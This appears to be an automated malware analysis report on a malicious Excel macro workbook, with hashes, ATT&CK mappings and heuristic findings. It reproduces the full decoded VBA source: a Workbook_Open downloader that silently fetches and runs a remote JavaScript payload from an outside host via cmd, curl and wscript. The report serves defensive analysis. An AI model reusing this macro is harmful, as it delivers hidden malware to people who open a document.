Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 34783b81201fe9f7…

MALICIOUS

Office (OOXML) / .XLSM

234.8 KB Created: 2026-06-15 11:30:13 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2026-06-15
MD5: b1cf92afe1b583ce11ecbb6d04f41222 SHA-1: 372391446fdbb687abe7fd68d0fdb42222fd4c21 SHA-256: 34783b81201fe9f7a05428641b25be10a214a1d5adf9fb0b13185a52366e621b
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.007 JavaScript T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an XLSM file containing a Workbook_Open VBA macro. This macro decodes a URL and then uses WScript.Shell to execute a command that downloads a JavaScript file from that URL and then executes it. The script establishes persistence and downloads a second-stage payload, indicating a downloader or initial access mechanism.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
                cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js"
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
                cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
                cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js"
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
                cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
            Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://canta-cn.com/output_ojmtqo8b.js In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://www.gimp.org/xmp/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2417 bytes
SHA-256: 557506c13165c0c5570320e06656e663185765600ea37d4a19c4c0efc7fb0844
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

        Function PBaKXNQyDb(str)
            Dim i, result, hex
            result = ""
    
            i = 1
            Do While i <= Len(str)
                If Mid(str, i, 1) = "%" Then
                    hex = Mid(str, i + 1, 2)
                    result = result & Chr(CLng("&H" & hex))
                    i = i + 3
                ElseIf Mid(str, i, 1) = "+" Then
                    result = result & " "
                    i = i + 1
                Else
                    result = result & Mid(str, i, 1)
                    i = i + 1
                End If
            Loop

            PBaKXNQyDb = result
        End Function

        Sub Workbook_Open()
            decoded = PBaKXNQyDb("https%3A%2F%2Fcanta-cn.com%2Foutput_ojmtqo8b.js")

            cmd = "cmd.exe /c cd %appdata% &@echo var oShell = WSH.createObject(""Wscript.Shell""); >> nfsAVzWGWF.js &@echo oShell.run(""cmd /c curl -o \""ToBZZwNzXN.js\"" \""" + decoded + "\"" &wscript.exe \""ToBZZwNzXN.js\"""", 0, false); >> nfsAVzWGWF.js & wscript.exe nfsAVzWGWF.js & del nfsAVzWGWF.js"

            Set objShell = CreateObject("WScript.Shell")
            objShell.Run cmd, 0, False
        End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: 6374bf08fa0264b2cb2a90b789c5c94c693a580fd3198fc0281dfd911c1227e7

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